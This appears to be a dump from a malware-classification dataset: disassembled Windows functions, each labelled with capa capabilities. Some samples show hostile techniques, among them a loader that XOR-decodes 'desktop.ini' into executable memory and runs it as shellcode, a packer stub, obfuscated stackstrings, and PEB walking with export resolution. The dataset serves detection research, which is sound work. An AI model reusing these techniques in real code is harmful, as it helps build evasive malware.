joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40db60
Capabilities:
Parse credit card information

Disassembly:
push ebx
push esi
mov esi, ecx
xor cl, cl
push edi
mov eax, dword [esi + 0x4c]
cmp eax, 0xffffffff
je 0x40dd7d
cmp eax, 0x7c
je 0x40dd7d
cmp eax, 0x29
jne 0x40dba1
cmp dword [esi + 0x10], 0
jne 0x40dd7d
cmp eax, eax
jne 0x40dba1
test dword [esi + 0x50], 0x10000000
je 0x40dd8a
jmp 0x40dd36
cmp eax, 0x2e
jne 0x40dbb2
push 5
lea ecx, [esi + 0x24]
call fcn.0040dde0
jmp 0x40dc2e
cmp eax, 0x5c
jne 0x40dc11
mov ecx, esi
call fcn.0040db10
test byte [esi + 0x50], 0x80
je 0x40dc05
movzx eax, word [esi + 0x48]
cmp eax, 0x62
jne 0x40dbe3
push 4
lea ecx, [esi + 0x24]
call fcn.0040dde0
mov ecx, esi
call fcn.0040db10
jmp 0x40dd6f
cmp eax, 0x42
jne 0x40dc05
push 4
lea ecx, [esi + 0x24]
call fcn.0040dde0
mov eax, dword [esi + 0x28]
mov ecx, esi
xor dword [eax + 8], 1
call fcn.0040db10
jmp 0x40dd6f
mov ecx, esi
call fcn.0040ea50
jmp 0x40dd68
cmp eax, 0x5b
jne 0x40dc7e
mov ecx, esi
call fcn.0040db10
mov ecx, esi
call fcn.0040e960
cmp dword [esi + 0x4c], 0x5d
jne 0x40dd98
mov edx, dword [esi + 8]
mov eax, dword [esi]
cmp eax, edx
je 0x40dc72
cmp word [eax], 0x5c
jne 0x40dc6d
lea ecx, [eax + 2]
cmp ecx, edx
je 0x40dc6d
mov edx, dword [esi + 0x50]
test dl, 8
jne 0x40dc59
movzx edi, word [ecx]
cmp edi, 0x28
je 0x40dc6b
cmp edi, 0x29
je 0x40dc6b
test dl, 0x10
jne 0x40dc6d
movzx edx, word [ecx]
cmp edx, 0x7b
je 0x40dc6b
cmp edx, 0x7d
jne 0x40dc6d
mov eax, ecx
add eax, 2
mov dword [esi], eax
mov ecx, esi
call fcn.0040cb90
jmp 0x40dd68
cmp eax, 0x28
jne 0x40dcf2
mov ecx, esi
call fcn.0040db10
mov ecx, esi
call fcn.0040ebf0
cmp dword [esi + 0x4c], 0x29
mov bl, al
jne 0x40dd8a
mov eax, dword [esi]
mov edx, dword [esi + 8]
cmp eax, edx
je 0x40dce1
cmp word [eax], 0x5c
jne 0x40dcdc
lea ecx, [eax + 2]
cmp ecx, edx
je 0x40dcdc
mov edx, dword [esi + 0x50]
test dl, 8
jne 0x40dcc8
movzx edi, word [ecx]
cmp edi, 0x28
je 0x40dcda
cmp edi, 0x29
je 0x40dcda
test dl, 0x10
jne 0x40dcdc
movzx edx, word [ecx]
cmp edx, 0x7b
je 0x40dcda
cmp edx, 0x7d
jne 0x40dcdc
mov eax, ecx
add eax, 2
mov dword [esi], eax
mov ecx, esi
call fcn.0040cb90
test bl, bl
je 0x40dd6f
jmp 0x40dd68
cmp eax, 0x5e
jne 0x40dd0a
push 2
lea ecx, [esi + 0x24]
call fcn.0040dde0
mov ecx, esi
call fcn.0040db10
jmp 0x40dd6f
cmp eax, 0x24
jne 0x40dd22
push 3
lea ecx, [esi + 0x24]
call fcn.0040dde0
mov ecx, esi
call fcn.0040db10
jmp 0x40dd6f
cmp eax, 0x2a
je 0x40dd83
cmp eax, 0x2b
je 0x40dd83
cmp eax, 0x3f
je 0x40dd83
cmp eax, 0x7b
je 0x40dd83
cmp eax, 0x7d
jne 0x40dd46
test dword [esi + 0x50], 0x10000000
je 0x40dd91
jmp 0x40dd54
cmp eax, 0x5d
jne 0x40dd54
test dword [esi + 0x50], 0x10000000
je 0x40dd98
movzx eax, word [esi + 0x48]
lea ecx, [esi + 0x24]
push eax
call fcn.0040eeb0
mov ecx, esi
call fcn.0040db10
mov ecx, esi
call fcn.0040ed00
mov eax, dword [esi + 0x4c]
mov cl, 1
cmp eax, 0xffffffff
jne 0x40db73
pop edi
pop esi
mov al, cl
pop ebx
ret
push 0xa
call fcn.0040cb80
push 5
call fcn.0040cb80
push 6
call fcn.0040cb80
push 4
call fcn.0040cb80
int3
Function at 0x420071
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x44f00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x420096
xor eax, eax
jmp 0x4200f2
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x4200c3
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x4200c3
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x420177
cmp dword [edi + 0x4c], 0
je 0x4200ec
mov ecx, edi
call fcn.0041fc76
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x420102
push dword [edi + 0x4c]
push ebx
call fcn.0041f4f6
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x4200f1
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0041aacd
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x43d3e0]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x4200ec
cmp eax, 1
jle 0x42014a
cmp eax, 3
jne 0x4200ec
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x4200de
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x420167
push dword [edi + 0x4c]
push esi
push 1
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
cmp esi, eax
jne 0x4200ec
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x4200ec
mov ax, bx
jmp 0x4200f1

Function at 0x425e9d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401c70
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407048
call sym._EnterCriticalSection_4
mov ebx, dword [0x407040]
sub esp, 4
test ebx, ebx
je 0x401cbb
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401cb4
test esi, esi
je 0x401cb4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401c90
mov dword [esp], 0x407048
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401ea0
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401ef0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x401fc8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401f2e
cmp eax, 4
jne 0x401f50
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401f3e
cmp edx, 4
je 0x401f3e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401ea0
Function at 0x10022da
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov cx, word [eax]
cmp cx, 0x22
push 2
pop edx
jne 0x100229a
add eax, edx
mov cx, word [eax]
test cx, cx
je 0x1002292
cmp cx, 0x22
jne 0x1002282
cmp word [eax], 0x22
jne 0x10022b2
jmp 0x10022b0
cmp cx, 0x20
jbe 0x10022b2
add eax, edx
cmp word [eax], 0x20
ja 0x10022a0
jmp 0x10022b2
cmp cx, 0x20
ja 0x10022ba
add eax, edx
mov cx, word [eax]
test cx, cx
jne 0x10022aa
push 0xa
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call fcn.01001f41
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.01002e8c
jmp 0x1002270

Function at 0x100294f
Capabilities:
Delete registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push dword [0x1004024]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100298d
push dword [0x1004028]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x532a460a
nop
nop
nop
nop
nop
xor dword [eax], esi
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7d74555f
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x43e39f
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push esi
push dword [ebp + 8]
call fcn.0043e0b0
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x43e3d9
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.0043e0eb
outsd dx, dword [esi]
pop edx
insd dword es:[edi], dx
and eax, 0x50c0458d
call fcn.0043e0fb
push eax
push esi
push dword [ebp + 8]
call fcn.0043e0b0
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.0043e0eb
and byte [eax + 0x458da918], ah
call 0x512c41e1
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.0043e0fb
push eax
push esi
push dword [ebp + 8]
call fcn.0043e0b0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.0043e0fb
push eax
push esi
push dword [ebp + 8]

Function at 0x43e4fc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.0043e0b0
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.0043e0fb
push eax
push esi
push dword [ebp + 8]
call fcn.0043e0b0
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.0043e0eb
mov al, byte [0x882a2c39]
popfd
jl 0x43e570
invalid
invalid
Function at 0x401ca0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x401d75
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x401d75
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x401d75
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x401cfb
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x401d75
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401d40
test dl, dl
je 0x401d3c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401d40
add ecx, 2
add eax, 2
test dl, dl
jne 0x401d20
xor eax, eax
jmp 0x401d45
sbb eax, eax
or eax, 1
test eax, eax
jne 0x401d57
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x401d62
inc esi
cmp esi, ebp
jae 0x401d75
mov edx, dword [esp + 0x10]
jmp 0x401d16
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8

Function at 0x401fd9
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x401fe4
xor eax, eax
ret
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x40
jb 0x401ff8
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x401ffc
xor eax, eax
pop esi
ret
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x402035
cmp dword [edi + ecx], 0x4550
jne 0x402035
mov eax, 0x14c
cmp word [edi + ecx + 4], ax
jne 0x402035
test byte [edi + ecx + 0x16], 2
je 0x402035
movzx eax, word [edi + ecx + 0x14]
mov edx, 0xe0
cmp ax, dx
jae 0x40203a
pop edi
xor eax, eax
pop esi
ret
push ebx
add eax, 0xffffff20
movzx ebx, ax
add ebx, edi
movzx edi, word [edi + ecx + 6]
add ebx, ecx
xor edx, edx
test edi, edi
jle 0x402076
xor eax, eax
jmp 0x402059
lea eax, [eax + eax*4]
mov ecx, dword [ebx + eax*8 + 0x10c]
add ecx, dword [ebx + eax*8 + 0x108]
cmp ecx, esi
ja 0x40207f
inc edx
movzx eax, dx
cmp eax, edi
jl 0x402059
pop ebx
pop edi
mov eax, 1
pop esi
ret
pop ebx
pop edi
xor eax, eax
pop esi
ret
Function at 0x402085
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x4020bd
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x4020cb
add edx, 0x20
cmp eax, edx
jne 0x4020dc
test bx, bx
je 0x402111
add esi, 2
add edi, 2
jmp 0x4020ad
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x4020ea
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x4020f8
add edx, 0x20
sub ecx, edx
je 0x402111
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x4020a6
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x402b8a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x402c4b
test ecx, ecx
je 0x402c4b
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x402c4b
test ebx, ebx
je 0x402c4b
mov ebx, eax
add ebx, edx
je 0x402c4b
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x402c4b
cmp dword [edx + eax + 0x14], 0
je 0x402c4b
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x402c4b
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x402c3b
test dl, dl
je 0x402c37
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x402c3b
add edi, 2
add esi, 2
test dl, dl
jne 0x402c1b
xor eax, eax
jmp 0x402c40
sbb eax, eax
or eax, 1
test eax, eax
je 0x402c57
inc ebp
cmp ebp, dword [esp + 4]
jb 0x402c08
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x415f10
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c800b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004bc96b
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x415f92
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004ba55f
mov eax, dword [eax]
push 0x523ce4
push eax
call fcn.004990b4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004bcbf6
test bl, bl
je 0x415f92
push 0x523ce4
lea ecx, [esp + 0xc]
call fcn.004bcf86
push 0x523cf0
lea ecx, [esp + 0xc]
call fcn.004bcf86
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x415fce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004bcbf6
jmp 0x416099
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x416052
lea edx, [esp + 0x7c]
push 0x523cec
push edx
call fcn.004990b4
add esp, 8
test eax, eax
je 0x416052
lea eax, [esp + 0x7c]
push 0x523ce8
push eax
call fcn.004990b4
add esp, 8
test eax, eax
je 0x416052
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x415fe2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004bcbf6
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x416890
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4168f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x416900
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4c808b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x53acd8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x416a38
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x416966
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004bcbf6
xor eax, eax
jmp 0x416aaf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004bcd33
push esi
lea ecx, [esp + 0xc]
call fcn.004bcfc2
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x416a8d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00416890
test eax, eax
jne 0x416a8d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00416890
test eax, eax
jne 0x416a8d
lea eax, [esp + 0x14]
push 0x523d00
push eax
call fcn.0049a130
mov esi, eax
add esp, 8
test esi, esi
jne 0x416a6c
lea ecx, [esp + 0x14]
push 0x523cfc
push ecx
call fcn.0049a0b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x416a6c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x416a6f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004bcce3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41697e
lea ecx, [esp + 8]
